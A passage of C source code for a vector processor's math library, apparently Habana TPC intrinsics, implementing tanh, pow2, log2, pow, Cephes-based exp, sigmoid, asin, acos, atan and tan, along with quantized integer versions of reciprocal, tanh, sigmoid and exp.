v_tanh_fast_abs_in_f32(float64 input, float64 abs_x)\n{\n#define COEFF_TAB_SHIFT 17 // 23 - (m = 6);\n const int FUNC_ID = e_fp32_tanh;\n\n int64 exponent = v_f32_extract_exp_v(input, false); // 1\n bool256 neg_exp = bv_i32_cmp_less_v_s(exponent, 0); // 2\n\n float64 result;\n CALC_REDUCED_VALUE(abs_x, e_func_variant_tanh, result) // 3, 4, 5\n // 6, 7, 8\n result = v_f32_mul_v_v_vb(result, abs_x, result, neg_exp, 0); // 9\n\n bool256 greq_8 = bv_f32_cmp_geq_v_s(abs_x, 8.0f); // 10\n result = v_f32_f32_sel_less_v_s_v_v_vb(abs_x, 9.0f, 0.999999881f, result, result, greq_8, 0); // 11\n result = v_f32_f32_sel_geq_v_s_v_v(abs_x, 9.0f, 1.0f, result); // 12\n\n result = v_f32_form_fp_num_v_v_v(result, input, result, 0x0); // 13\n return result;\n#undef COEFF_TAB_SHIFT\n}\n\nfloat64 v_tanh_fast_f32(float64 input)\n{\n float64 abs_x = v_f32_abs_v(input); // 1\n float64 result = v_tanh_fast_abs_in_f32(input, abs_x); // 14\n\n return result;\n}\n\nfloat64 v_tanh_f32(float64 input)\n{\n float64 abs_x = v_f32_abs_v(input); // 1\n float64 result = v_tanh_fast_abs_in_f32(input, abs_x); // 15\n// ====================================\n// Processing special values: nan\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n result = v_u32_f32_sel_grt_v_v_v_v(*((uint64*)&abs_x), PLUS_INF_FP32, nan_fp32, result); // 16\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// POW2_F32 //////////////////////////////////////////////////\n\nfloat64 v_pow2_fast_f32(float64 input)\n{\n #define COEFF_TAB_SHIFT 17 // 23 - (m = 6);\n const int FUNC_ID = e_fp32_pow2;\n\n const float log2_1 = 0.0f;\n const float log2_2 = 1.0f;\n\n float64 result = 0.5f;\n result = v_f32_mac_v_s(input, log2_2, result, false);\n\n int64 floor = v_convert_f32_to_i32_v(result, e_round_down);\n result = v_convert_i32_to_f32_v(floor, e_round_half_ne);\n\n float64 x_reduced = input;\n x_reduced = v_f32_mac_v_v(result, log2_2, x_reduced, true);\n x_reduced = v_f32_mac_v_v(result, log2_1, x_reduced, true);\n x_reduced *= log2_2;\n\n bool256 x_red_geq_0 = bv_f32_cmp_geq_v_s(x_reduced, 0.0f);\n int64 exponent = 0;\n exponent = v_f32_extract_exp_v_vb(x_reduced, exponent, false, x_red_geq_0, 0);\n exponent = v_i32_min_v_s_vb(-exponent, 24, exponent, x_red_geq_0, 0);\n\n int64 pos_significand = 0;\n pos_significand = v_i32_and_v_s_vb(*((int64*)&x_reduced), SIGNIFICAND_MASK,\n pos_significand, x_red_geq_0, 0);\n pos_significand = v_i32_or_v_s_vb(pos_significand, 1 << 23, pos_significand, x_red_geq_0, 0);\n pos_significand = v_i32_shr_v_v_vb(pos_significand, exponent, pos_significand, x_red_geq_0, 0);\n pos_significand = v_i32_or_v_s_vb(pos_significand, UNIT_VAL, pos_significand, x_red_geq_0, 0);\n result = *((float64*)&pos_significand);\n\n result = v_f32_add_v_s_vb(x_reduced, 2.0f, result, x_red_geq_0, 1);\n int64 neg_significand = 0;\n neg_significand = v_i32_and_v_s_vb(*((int64*)&result), SIGNIFICAND_MASK, neg_significand,\n x_red_geq_0, 1);\n uint64 neg_add = 0;\n neg_add = v_i32_u32_sel_eq_v_s_v_v_vb(neg_significand, 0, 0, 1, neg_add, x_red_geq_0, 1);\n\n CALC_REDUCED_VALUE(result, e_func_variant_default, result)\n\n exponent = v_f32_extract_exp_v(result, true);\n exponent += floor - neg_add;\n result = v_f32_form_fp_num_i8_v_v_v((char256) exponent, result, result, SW_EXP_IS_NUM); // 27\n return result;\n#undef COEFF_TAB_SHIFT\n}\n\nfloat64 v_pow2_f32(float64 input)\n{\n float64 result = v_pow2_fast_f32(input);\n// ====================================\n// Processing special values: spec.exp values, +-inf, nan\n\n const uint64 flt_max = FLT_MAX;\n const float64 flt_max_fp32 = *((float64*)&flt_max);\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n\n const float64 pow2_lower = -126.0f;\n const float64 pow2_upper = 128.0f;\n\n result = v_f32_f32_sel_less_v_v_v_v(input, pow2_lower, 0.0f, result);\n result = v_f32_f32_sel_geq_v_v_v_v(input, pow2_upper, plus_inf_fp32, result);\n\n result = v_f32_f32_sel_less_v_v_v_v(input, -flt_max_fp32, 0.0f, result);\n result = v_f32_f32_sel_geq_v_v_v_v(input, flt_max_fp32, plus_inf_fp32, result);\n\n result = v_u32_f32_sel_grt_v_v_v_v(*((uint64*)&input) & NAN_FP32, PLUS_INF_FP32, input, result);\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// LOG2_F32 CEPHES///////////////////////////////////////////\nfloat64 v_log2_fast_f32(float64 input)\n{\n // log32_cephes: log(1+x) = x - 0.5 x**2 + x**3 P(x)\n const float log2_e_m_1 = 0.44269504088896340735992; // log2(e) - 1.0\n const float one_sqrt_2 = 0.70710677; // 1/sqrt(2) (0x3f3504f3)\n const int poly_tab_size = 9;\n const float coeffs[poly_tab_size] = {\n 7.0376836292E-2,\n -1.1514610310E-1,\n 1.1676998740E-1,\n -1.2420140846E-1,\n 1.4249322787E-1,\n -1.6668057665E-1,\n 2.0000714765E-1,\n -2.4999993993E-1,\n 3.3333331174E-1};\n\n int64 exponent = v_f32_extract_exp_v(input, false) + 1;\n const char exp_126 = 126;\n float64 fraction = v_f32_form_fp_num_i8_s_v_v(exp_126, input, input, SW_EXP_IS_NUM); // 2\n float64 fl_exponent = v_convert_i32_to_f32_v(exponent, e_round_half_ne) ; // 3\n\n float64 diff = fraction - one_sqrt_2;\n int64 diff_sign = v_i32_shr_v_s((*(int64 *) &diff), 31);\n exponent -= diff_sign;\n fl_exponent = v_convert_i32_to_f32_v(exponent, e_round_half_ne) ;\n float64 fl_diff_sign = v_convert_i32_to_f32_v(diff_sign, e_round_half_ne) ;\n fraction += fl_diff_sign * fraction - 1.0f;\n\n float64 x_sqr = fraction * fraction;\n float64 poly = coeffs[0];\n for (int i = 1; i < poly_tab_size; i++)\n poly = v_f32_mac_v_v(poly, fraction, coeffs[i], false);\n\n float64 tailor = fraction * (x_sqr * poly);\n tailor -= 0.5 * x_sqr;\n\n float64 result = tailor * log2_e_m_1;\n result += fraction * log2_e_m_1;\n result += tailor;\n result += fraction;\n\n result += fl_exponent;\n\n return result;\n}\n\nfloat64 v_log2_f32(float64 input)\n{\n float64 result = v_log2_fast_f32(input);\n// ====================================\n// Processing special values: <=0, +-inf, nan\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n const uint64 minus_inf = MINUS_INF_FP32;\n const float64 minus_inf_fp32 = *((float64*)&minus_inf);\n const uint64 nan_int = NAN_FP32;\n const float64 nan_fp32 = *((float64*)&nan_int);\n\n result = v_f32_f32_sel_less_v_s_v_v(input, 0.0f, nan_fp32, result);\n result = v_f32_f32_sel_eq_v_s_v_v(input, 0.0f, minus_inf_fp32, result);\n result = v_u32_f32_sel_eq_v_s_v_v(*((uint64*)&input), PLUS_INF_FP32, plus_inf_fp32, result);\n result = v_i32_f32_sel_grt_v_s_v_v(*((int64*)&input), PLUS_INF_FP32, nan_fp32, result);\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// POW_F32 //////////////////////////////////////////////////\nfloat64 v_pow_fast_f32(float64 base, float64 exp)\n{\n int64 exp_floor = v_convert_f32_to_i32_v(exp, e_round_down);\n float64 exp_floor_fl = v_convert_i32_to_f32_v(exp_floor, e_round_half_ne);\n\n // predicate mask of all exp elements that are whole numbers\n bool256 p0 = bv_f32_cmp_eq_v_v(exp, exp_floor_fl);\n // apply abs on all exp elements that are whole numbers\n float64 base_b = v_f32_form_fp_num_v_v_v_vb(base, base, base, base, SW_FORCE_SIGN0, p0, 0);\n\n float64 base_log2 = v_log2_fast_f32(base_b);\n float64 power = v_f32_mul_v_v(exp, base_log2);\n float64 result = v_pow2_fast_f32(power);\n\n // predicate mask of all exp elements that are whole odd numbers\n bool256 p1 = 0;\n p1 = bv_i32_cmp_eq_v_s_vb((exp_floor & 0x00000001), 0x00000001, p1, p0, 0);\n // return -result if base < 0 and exp is a whole odd number.\n result = v_f32_f32_sel_less_v_s_v_v_vb(base, 0.0f, -result, result, result, p1, 0);\n\n return result;\n}\n\nfloat64 v_pow_f32(float64 base, float64 exp)\n{\n int64 exp_floor = v_convert_f32_to_i32_v(exp, e_round_down);\n float64 exp_floor_fl = v_convert_i32_to_f32_v(exp_floor, e_round_half_ne);\n\n // predicate mask of all exp elements that are whole numbers\n bool256 p0 = bv_f32_cmp_eq_v_v(exp, exp_floor_fl);\n // apply abs on all exp elements that are whole numbers\n float64 base_b = v_f32_abs_v_vb(base, base, p0, 0);\n\n float64 base_log2 = v_log2_f32(base_b);\n float64 power = v_f32_mul_v_v(exp, base_log2);\n float64 result = v_pow2_f32(power);\n\n // predicate mask of all exp elements that are whole odd numbers\n bool256 p1 = 0;\n p1 = bv_i32_cmp_eq_v_s_vb((exp_floor & 0x00000001), 0x00000001, p1, p0, 0);\n // return -result if base < 0 and exp is a whole odd number.\n result = v_f32_f32_sel_less_v_s_v_v_vb(base, 0.0f, -result, result, result, p1, 0);\n // if exp = 0\n result = v_f32_f32_sel_eq_v_v_v_v(exp, 0.0f, 1.0f, result); // 63\n // if exp = 1\n result = v_f32_f32_sel_eq_v_v_v_v(exp, 1.0f, base, result); // 64\n\n\n const uint64 flt_max = FLT_MAX;\n const float64 flt_max_fp32 = *((float64*)&flt_max);\n const uint64 plus_inf = PLUS_INF_FP32;\n const float64 plus_inf_fp32 = *((float64*)&plus_inf);\n\n float64 abs_base = v_f32_abs_v(base); // 65\n float64 abs_exp = v_f32_abs_v(exp); // 66\n\n bool256 pred0 = bv_f32_cmp_leq_v_v(exp, -flt_max_fp32);\n result = v_f32_f32_sel_grt_v_s_v_v_vb(abs_base, 1.0f, 0.0f, result, result, pred0, 0);\n result = v_f32_f32_sel_less_v_s_v_v_vb(abs_base, 1.0f, plus_inf_fp32, result, result, pred0, 0);\n\n bool256 pred1 = bv_f32_cmp_geq_v_v(exp, flt_max_fp32);\n result = v_f32_f32_sel_grt_v_s_v_v_vb(abs_base, 1.0f, plus_inf_fp32, result, result, pred1, 0);\n result = v_f32_f32_sel_less_v_s_v_v_vb(abs_base, 1.0f, 0.0f, result, result, pred1, 0);\n\n bool256 pred2 = bv_f32_cmp_less_v_v(base, -flt_max_fp32);\n result = v_f32_f32_sel_grt_v_s_v_v_vb(exp, 0.0f, plus_inf_fp32, result, result, pred2, 0);\n result = v_f32_f32_sel_less_v_s_v_v_vb(exp, 0.0f, 0.0f, result, result, pred2, 0);\n\n bool256 pred3 = bv_f32_cmp_geq_v_v(base, flt_max_fp32);\n pred3 = bv_f32_cmp_grt_v_s_vb(abs_exp, 1.0f, pred3, pred3, 0);\n result = v_f32_f32_sel_grt_v_s_v_v_vb(exp, 0.0f, plus_inf_fp32, result, result, pred3, 0);\n result = v_f32_f32_sel_less_v_s_v_v_vb(exp, 0.0f, 0.0f, result, result, pred3, 0);\n\n return result;\n}\n\n//quantized versions of special function is available only on Goya\n#ifdef __goya__\n/////////////////////////////////////// RECIP_I16 /////////////////////////////////////////////////\ninline short128 v_recip_i16(short128 x, short expX)\n{\n short128 shift = expX;\n short128 x00_shr;\n short128 x00_and;\n short128_pair_t y00 = {0};\n\n bool256 bRangeReduced = {0};\n\n short fourFlex = 4 << (-expX);\n short fourFlexMinusOne = fourFlex - 1;\n\n short intervalShift = -4 - expX;\n unsigned short intervalStartMask = (1 << intervalShift) - 1;\n\n // if (x >= fourFlex) // 4 << (-expX)\n // x = x >> 2;\n char cmp_pred = ((-expX) < 13 ); // if exp >= 13, we get overflow,\n // so need to avoid this situations\n bRangeReduced = bv_i16_cmp_geq_v_s_b(x, fourFlex, bRangeReduced, cmp_pred, 0);\n\n x = v_i16_ash_v_s_vb(x, -2, x, 1, bRangeReduced, 0);\n x = v_i16_min_v_s_vb(x, fourFlexMinusOne, x, bRangeReduced, 0);\n\n x00_shr = v_i16_shr_v_s(x, intervalShift);\n x00_and = v_i16_and_v_s(x, intervalStartMask);\n\n y00 = v_i16_lookup_c1c2_v(*(ushort128 *)&x00_shr, y00, e_lookup_fp16_low, e_i16_rcp);\n y00 = v_i16_lookup_c1c2_v(*(ushort128 *)&x00_shr, y00, e_lookup_fp16_high, e_i16_rcp);\n y00.v1 = v_i16_msac_v_v_v_s(y00.v2, x00_and, (char256)shift, 0, y00.v1, 1, e_normalize_ab);\n\n y00.v2 = v_i16_lookup_c0_v(*(ushort128 *)&x00_shr, y00.v2, e_lookup_fp16_low, e_i16_rcp);\n y00.v2 = v_i16_lookup_c0_v(*(ushort128 *)&x00_shr, y00.v2, e_lookup_fp16_high, e_i16_rcp);\n y00.v2 = v_i16_msac_v_v_v_s(y00.v1, x00_and, (char256)shift, 0, y00.v2, 1, e_normalize_ab);\n\n y00.v2 = v_i16_ash_v_s_vb(y00.v2, -2, y00.v2, 1, bRangeReduced, 0);\n\n return y00.v2;\n}\n//////////////////////////////////////// TANH_I16 /////////////////////////////////////////////////\n// Maximal input exponentX is expected to be (-12)\n// Valid input range (-8,8)\n// Output exponent -15\ninline short128 v_tanh_i16(\n short128 input,\n short tanhIntervalShift, // -3 - exponentX\n short tanhIntervalStartMask, // (1 << tanhIntervalShift)-1\n char tanhMSAC0diffABToC, // exponentTanhC2 + exponentX - exponentTanhC1\n char tanhMSAC1diffABToC // exponentTanhC1 + exponentX - exponentTanhC0\n )\n{\n short128 absX = v_i16_abs_v(input);\n short128 interval = v_i16_shr_v_s(absX, tanhIntervalShift);\n\n absX &= tanhIntervalStartMask;\n\n short128_pair_t lookupResC1C2 = {0};\n lookupResC1C2 = v_i16_lookup_c1c2_v(*(ushort128*)&interval,lookupResC1C2, e_lookup_fp16_low, e_i16_tanh);\n lookupResC1C2 = v_i16_lookup_c1c2_v_b(*(ushort128*)&interval, lookupResC1C2, e_lookup_fp16_high, e_i16_tanh, 1, 0);\n\n short128 C0 = 0;\n C0 = v_i16_lookup_c0_v(*(ushort128*)&interval,C0, e_lookup_fp16_low, e_i16_tanh);\n C0 = v_i16_lookup_c0_v_b(*(ushort128*)&interval, C0, e_lookup_fp16_high, e_i16_tanh, 1, 0);\n\n short128 C1 = lookupResC1C2.v1;\n short128 C2 = lookupResC1C2.v2;\n // MSACs come here\n char256 shiftABToC = tanhMSAC0diffABToC;\n C1 = v_i16_msac_v_v_v_s_b(C2, absX, shiftABToC, 0, C1, 1, e_normalize_ab, 1, 0);\n shiftABToC = tanhMSAC1diffABToC;\n C0 = v_i16_msac_v_v_v_s_b(C1, absX, shiftABToC, 0, C0, 1, e_normalize_ab, 0, 1);\n\n bool256 isNegative = bv_i16_cmp_less_v_s(input, 0);\n\n short128 zerosVec = 0;\n\n // If the input was negative, subtract the result from zero, negating the result\n C0 = v_i16_sub_v_v_vb(zerosVec, C0, C0, e_no_saturation, isNegative, 0);\n\n return C0;\n}\n\n//////////////////////////////////////// SIGMOID_I16 //////////////////////////////////////////////\n// Maximal input exponentX is expected to be (-12)\n// Valid input range (-8,8)\n// output exponent -15\ninline short128 v_sigmoid_i16(\n short128 input,\n short sigmoidIntervalShift, // -3 - exponentX\n short sigmoidIntervalStartMask, // (1 << tanhIntervalShift)-1\n char sigmoidMSAC0diffABToC, // exponentSigmoidC2 + exponentX - exponentSigmoidC1\n char sigmoidMSAC1diffABToC // exponentSigmoidC1 + exponentX - exponentSigmoidC0)\n )\n{\n short128 absX = v_i16_abs_v(input);\n short128 interval = v_i16_shr_v_s(absX, sigmoidIntervalShift);\n\n absX &= sigmoidIntervalStartMask;\n short128_pair_t lookupResC1C2 = {0};\n lookupResC1C2 = v_i16_lookup_c1c2_v(*(ushort128*)&interval, lookupResC1C2, e_lookup_fp16_low, e_i16_sigmoid);\n lookupResC1C2 = v_i16_lookup_c1c2_v_b(*(ushort128*)&interval, lookupResC1C2, e_lookup_fp16_high, e_i16_sigmoid, 1, 0);\n\n short128 C0 = 0;\n C0 = v_i16_lookup_c0_v(*(ushort128*)&interval, C0, e_lookup_fp16_low, e_i16_sigmoid);\n C0 = v_i16_lookup_c0_v_b(*(ushort128*)&interval, C0, e_lookup_fp16_high, e_i16_sigmoid, 1, 0);\n\n short128 C1 = lookupResC1C2.v1;\n short128 C2 = lookupResC1C2.v2;\n // MSACs come here\n char256 shiftABToC = sigmoidMSAC0diffABToC;\n C1 = v_i16_msac_v_v_v_s_b(C2, absX, shiftABToC, 0, C1, 1, e_normalize_ab, 1, 0);\n shiftABToC = sigmoidMSAC1diffABToC;\n C0 = v_i16_msac_v_v_v_s_b(C1, absX, shiftABToC, 0, C0, 1, e_normalize_ab, 0, 1);\n\n bool256 isNegative = bv_i16_cmp_less_v_s(input, 0);\n\n ushort128 quantizedOnes = 32768;\n ushort128 ushortC0 = v_u16_sub_v_v_vb(quantizedOnes, *(ushort128*)&C0, *(ushort128*)&C0, e_no_saturation, isNegative, 0);\n return *(short128 *)&ushortC0;\n}\n\n//////////////////////////////////////// EXP_I8 //////////////////////////////////////////////////\n// Maximal Input exponentX is -4\n// valid input range (-8,0)\n// Result is in under quantization factor of -7. Range (0,1)\ninline char256 v_exp_i8(char256 x, char shift)\n{\n char256 x00_abs;\n char256 x00_shr;\n char256 x00_and;\n char256_pair_t y00 = {0};\n\n char intervalShift = -3 - shift;\n char intervalStartMask = ((1 << intervalShift) - 1);\n\n //char256 norm_shift = (-7 + shift) - (-7);\n char256 norm_shift = shift;\n\n x00_abs = v_i8_abs_v(x);\n x00_shr = v_i8_shr_v_s(x00_abs, intervalShift);\n x00_and = v_i8_and_v_s(x00_abs, intervalStartMask);\n\n y00 = v_i8_lookup_c1c2_v(*(uchar256 *)&x00_shr, y00, e_lookup_int8_0, 40);\n y00 = v_i8_lookup_c1c2_v(*(uchar256 *)&x00_shr, y00, e_lookup_int8_1, 40);\n y00 = v_i8_lookup_c1c2_v(*(uchar256 *)&x00_shr, y00, e_lookup_int8_2, 40);\n y00 = v_i8_lookup_c1c2_v(*(uchar256 *)&x00_shr, y00, e_lookup_int8_3, 40);\n\n y00.v1 = v_i8_msac_v_v_v_s(y00.v2, x00_and, norm_shift, 0, y00.v1, 1, e_normalize_ab);\n\n return y00.v1;\n}\n//////////////////////////////////////// EXP_I16 //////////////////////////////////////////////////\n// Maximal input exponentX is -11\n// valid input range (-16,0)\n// Result is in under quantization factor of -15. Range (0,1)\ninline short128 v_exp_i16(short128 x, short shift)\n{\n short128 x00_abs;\n short128 x00_shr;\n short128 x00_and;\n short128_pair_t y00 = {0};\n\n short intervalShift = -2 - shift;\n short intervalStartMask = ((1 << intervalShift) - 1);\n\n //qC2 = -16 , qC1 = -15, qc0 = -15\n\n // Exponent normalization ( (-16 + -11) - (-15)) = 15-27 = -12\n short128 shift_lp = -1 + shift;\n\n // Exponent normalization ( (-15 + -11) - (-15)) = 15-26 = -11\n short128 shift_hp = shift;\n\n //(C2 * x + C1) * x + C0\n x00_abs = v_i16_abs_v(x);\n x00_shr = v_i16_shr_v_s(x00_abs, intervalShift);\n x00_and = v_i16_and_v_s(x00_abs, intervalStartMask);\n\n y00 = v_i16_lookup_c1c2_v(*(ushort128 *)&x00_shr, y00, e_lookup_fp16_low, e_i16_exp_nep);\n y00 = v_i16_lookup_c1c2_v(*(ushort128 *)&x00_shr, y00, e_lookup_fp16_high, e_i16_exp_nep);\n\n y00.v1 = v_i16_msac_v_v_v_s(y00.v2, x00_and, (char256)shift_lp, 0, y00.v1, 1, e_normalize_ab);\n\n y00.v2 = v_i16_lookup_c0_v(*(ushort128 *)&x00_shr, y00.v2, e_lookup_fp16_low, e_i16_exp_nep);\n y00.v2 = v_i16_lookup_c0_v(*(ushort128 *)&x00_shr, y00.v2, e_lookup_fp16_high, e_i16_exp_nep);\n\n y00.v2 = v_i16_msac_v_v_v_s(y00.v1, x00_and, (char256)shift_hp, 0, y00.v2, 1, e_normalize_ab);\n\n return y00.v2;\n}\n\n#endif //#ifdef __goya__\n//////////////////////////////////////// rcp_I16 /////////////////////////////////////////////////\n// Maximal input exponentX is expected to be (-11)\n// Valid input range (1,16)\n// output exponent -15\n\n///////////////////////////////////// EXP_CEPHES_F32 //////////////////////////////////////////////\nfloat64 v_exp_cephes_fast_f32(float64 input)\n{\n const float ln_2_1 = 0.693359375;\n const float ln_2_2 = -2.12194440e-4;\n const float log2_e = 1.44269504088896341;\n const float c1 = 1.9875691500E-4;\n const float64 c2 = 1.3981999507E-3;\n const float64 c3 = 8.3334519073E-3;\n const float64 c4 = 4.1665795894E-2;\n const float64 c5 = 1.6666665459E-1;\n const float64 c6 = 5.0000001201E-1;\n\n float64 z = 0.5;\n z = v_f32_mac_v_s(input, log2_e, z, false);\n\n z = v_f32_nearbyint_v(z, e_round_down);\n\n float64 x_reduced = input;\n x_reduced = v_f32_mac_v_v(z, ln_2_1, x_reduced, true);\n x_reduced = v_f32_mac_v_v(z, ln_2_2, x_reduced, true);\n\n float64 sqr_x = v_f32_mul_v_v(x_reduced, x_reduced);\n float64 result;\n result = v_f32_mac_v_s(x_reduced ,c1 , c2, false);\n result = v_f32_mac_v_v(result, x_reduced, c3, false);\n result = v_f32_mac_v_v(result, x_reduced, c4, false);\n result = v_f32_mac_v_v(result, x_reduced, c5, false);\n result = v_f32_mac_v_v(result, x_reduced, c6, false);\n\n float64 x_plus1 = 1.0;\n x_plus1 = v_f32_add_v_v(x_reduced, x_plus1);\n\n result = v_f32_mac_v_v(result, sqr_x, x_plus1, false);\n\n int64 res_i32 = *(int64*)&result;\n\n int64 z_i32 = v_convert_f32_to_i32_v(z, e_round_down);\n z_i32 = v_i32_shl_v_s(z_i32, 23);\n res_i32 = v_i32_add_v_v(res_i32, z_i32, 0);\n\n result = *(float64*)&res_i32;\n\n return result;\n}\n\nfloat64 v_exp_cephes_f32(float64 input)\n{\n float64 result = v_exp_cephes_fast_f32(input);\n// ====================================\n// Processing special values: spec.exp values, +-inf, nan\n\n const float64 exp_lower = -87.336;\n const float64 exp_upper = 88.722;\n const int64 plus_inf = PLUS_INF_FP32;\n\n result = v_f32_f32_sel_leq_v_v_v_v(input, exp_lower, 0.0f, result);\n result = v_f32_f32_sel_geq_v_v_v_v(input, exp_upper, *((float64*)&plus_inf), result);\n result = v_u32_f32_sel_grt_v_v_v_v(*((uint64*)&input) & NAN_FP32, PLUS_INF_FP32, input, result);\n// ====================================\n\n return result;\n}\n\n//////////////////////////////////////// SIGMOID_F32 //////////////////////////////////////////////\ninline\nfloat64 v_sigmoid_f32(float64 input)\n{//sigmoid(x) = 0.5 * (tanh(0.5*x)+1) instead of (div_f32(1.0, (1.0 + exp_cephes_f32(-input))));\n float64 x = v_f32_mul_v_s(input, 0.5f); // 1\n float64 res = 0.5f;\n x = v_tanh_f32(x); // 17\n res = v_f32_mac_v_s(x, 0.5f, res, e_no_negation); // 18\n\n return res;\n}\n\n///////////////////////////////////// ASIN CEPHES F32 /////////////////////////////////////////////\nfloat64 v_asin_cephes_f32(float64 input)\n{\n float64 x, abs_x;\n float64 z = 0, result = 0;\n\n const float64 c1 = 4.2163199048E-2;\n const float64 c2 = 2.4181311049E-2;\n const float64 c3 = 4.5470025998E-2;\n const float64 c4 = 7.4953002686E-2;\n const float64 c5 = 1.6666752422E-1;\n const float64 PIO2F = 1.5707963267948966192;\n\n bool256 lt_zero = bv_f32_cmp_less_v_s(input, 0);\n\n abs_x = v_f32_abs_v(input);\n\n bool256 lt_one = bv_f32_cmp_leq_v_s(abs_x, 1);\n bool256 gt_half = bv_f32_cmp_grt_v_s(abs_x, 0.5);\n\n // Predicate is set for elements > 0.5 and <= 1.0\n bool256 pred0 = bv_b_and_bv_bv(lt_one, gt_half);\n\n bool256 lt_half = bv_f32_cmp_leq_v_s(abs_x, 0.5);\n bool256 gt_min_const = bv_f32_cmp_geq_v_s(abs_x, 1.0e-4);\n\n // Predicate is set for elements >= 1.0e-4 and <= 0.5\n bool256 pred1 = bv_b_and_bv_bv(lt_half, gt_min_const);\n\n bool256 ele_in_range = bv_b_or_bv_bv(pred0, pred1);\n bool256 ele_lt_zero = bv_b_and_bv_bv(ele_in_range, lt_zero);\n\n // 0.5 * (1.0 - a);\n z = v_f32_mov_s_vb(0.5, z, pred0, 0);\n z = v_f32_mac_v_s_vb(abs_x, 0.5, z, true, pred0, 0);\n x = v_sqrt_f32(z);\n\n x = v_f32_mov_v_vb(abs_x, x, pred1, 0);\n z = v_f32_mul_v_v_vb(x, x, z, pred1, 0);\n\n result = v_f32_mac_v_v(c1, z, c2, 0);\n result = v_f32_mac_v_v(result, z, c3, 0);\n result = v_f32_mac_v_v(result, z, c4, 0);\n result = v_f32_mac_v_v(result, z, c5, 0);\n float64 temp0 = v_f32_mul_v_v(z, x);\n result = v_f32_mac_v_v(result, temp0, x, 0);\n\n result = v_f32_add_v_v_vb(result, result, result, pred0, 0);\n result = v_f32_sub_v_v_vb(PIO2F, result, result, 0, pred0, 0);\n\n // sign < 0\n result = v_f32_mul_v_s_vb(result, -1, result, ele_lt_zero, 0);\n\n // abs(input) > 1.0\n result = v_f32_mov_s_vb(0, result, lt_one, 1);\n\n // abs(input) < 1.0e-4\n result = v_f32_mov_v_vb(input, result, gt_min_const, 1);\n\n return result;\n}\n\n///////////////////////////////////// ACOS CEPHES F32 /////////////////////////////////////////////\nfloat64 v_acos_cephes_f32(float64 input)\n{\n float64 x, acc = 0, scale_const = -2;\n const float PIF = 3.141592653589793238;\n const float PIO2F = 1.5707963267948966192;\n\n float64 abs_x = v_f32_abs_v(input);\n\n bool256 leq_one = bv_f32_cmp_leq_v_s(abs_x, 1);\n bool256 gt_half = bv_f32_cmp_grt_v_s(abs_x, 0.5);\n\n // Predicate is set if abs(input) is > 0.5 and <= 1.0\n bool256 pred0 = bv_b_and_bv_bv(leq_one, gt_half);\n\n bool256 lt_zero = bv_f32_cmp_less_v_s(input, 0);\n // Predicate is set if input element is < -0.5\n bool256 pred1 = bv_b_and_bv_bv(pred0, lt_zero);\n\n // Calculate 0.5 * (1.0 - x) when 0.5 < abs(input) <= 1.0\n x = v_f32_mov_s_vb(0.5, abs_x, pred0, 0);\n x = v_f32_mac_v_s_vb(abs_x, 0.5, x, true, pred0, 0);\n\n x = v_sqrt_f32(x);\n x = v_f32_mov_v_vb(input, x, gt_half, 1);\n\n // Call Arcsin implementation\n x = v_asin_cephes_f32(x);\n\n acc = v_f32_mov_s_vb(PIF, acc, pred1, 0);\n acc = v_f32_mov_s_vb(PIO2F, acc, gt_half, 1);\n\n scale_const = v_f32_mov_s_vb(1, scale_const, gt_half, 1);\n scale_const = v_f32_mov_s_vb(2, scale_const, pred1, 0);\n\n acc = v_f32_mac_v_v(scale_const, x, acc, true);\n return acc;\n}\n\n///////////////////////////////////// ATAN_CEPHES_F32 /////////////////////////////////////////////\n\nfloat64 v_atan_cephes_f32(float64 input)\n{\n const float PI_2 = 1.5707963267948966192; // pi/2\n const float PI_4 = 0.7853981633974483096; // pi/4\n const float TAN_3PI_8 = 2.414213562373095; // tan(3pi/8)\n const float TAN_PI_8 = 0.4142135623730950; // tan(pi/8)\n\n const float C1 = 8.05374449538e-2;\n const float C2 = -1.38776856032e-1;\n const float C3 = 1.99777106478e-1;\n const float C4 = -3.33329491539e-1;\n\n float64 y, res;\n\n bool256 lt_zero = bv_f32_cmp_less_v_s(input, 0.0);\n input = v_f32_abs_v(input);\n\n // if input > TAN_PI_8\n float64 minus_one = v_f32_sub_v_s(input, 1.0, 0);\n float64 plus_one = v_f32_add_v_s(input, 1.0);\n float64 div_res = v_div_f32(minus_one, plus_one);\n\n y = v_f32_f32_sel_grt_v_v_v_v(input, TAN_PI_8, PI_4, 0);\n res = v_f32_f32_sel_grt_v_v_v_v(input, TAN_PI_8, div_res, input);\n\n // if input > TAN_3PI_8\n float64 neg_one = -1.0;\n div_res = v_div_f32(neg_one, input);\n\n y = v_f32_f32_sel_grt_v_v_v_v(input, TAN_3PI_8, PI_2, y);\n input = v_f32_f32_sel_grt_v_v_v_v(input, TAN_3PI_8, div_res, res);\n\n float64 z = v_f32_mul_v_v(input, input);\n res = v_f32_mac_v_v(C1, z, C2, 0);\n res = v_f32_mac_v_v(res, z, C3, 0);\n res = v_f32_mac_v_v(res, z, C4, 0);\n res = v_f32_mul_v_v(res, input);\n res = v_f32_mac_v_v(res, z, input, 0);\n\n y = v_f32_add_v_v(res, y);\n\n // if input < 0 -> y = -y\n y = v_f32_sub_v_s_vb(y, 0.0, y, 1, lt_zero, 0);\n\n return y;\n}\n\n///////////////////////////////////// TAN_CEPHES_F32 /////////////////////////////////////////////\n\nfloat64 v_tan_cephes_f32(float64 input)\n{\n const float DP1 = -0.78515625;\n const float DP2 = -2.4187564849853515625e-4;\n const float DP3 = -3.77489497744594108e-8;\n const float FOPI = 1.27323954473516; /* 4/pi */\n const float lossth = 8192.0;\n const float low_range = 1.0e-4;\n\n const float C1 = 9.38540185543E-3;\n const float C2 = 3.11992232697E-3;\n const float C3 = 2.44301354525E-2;\n const float C4 = 5.34112807005E-2;\n const float C5 = 1.33387994085E-1;\n const float C6 = 3.33331568548E-1;\n\n float64 y, z, sqr_z;\n int64 j, j_and_1, j_and_2;\n\n bool256 lt_zero = bv_f32_cmp_less_v_s(input, 0.0);\n input = v_f32_abs_v(input);\n\n float64 res = v_f32_mul_v_v(FOPI, input);\n y = v_f32_nearbyint_v(res, 1);\n\n // convert res f32 to i32 to perform bitwise operation\n j = 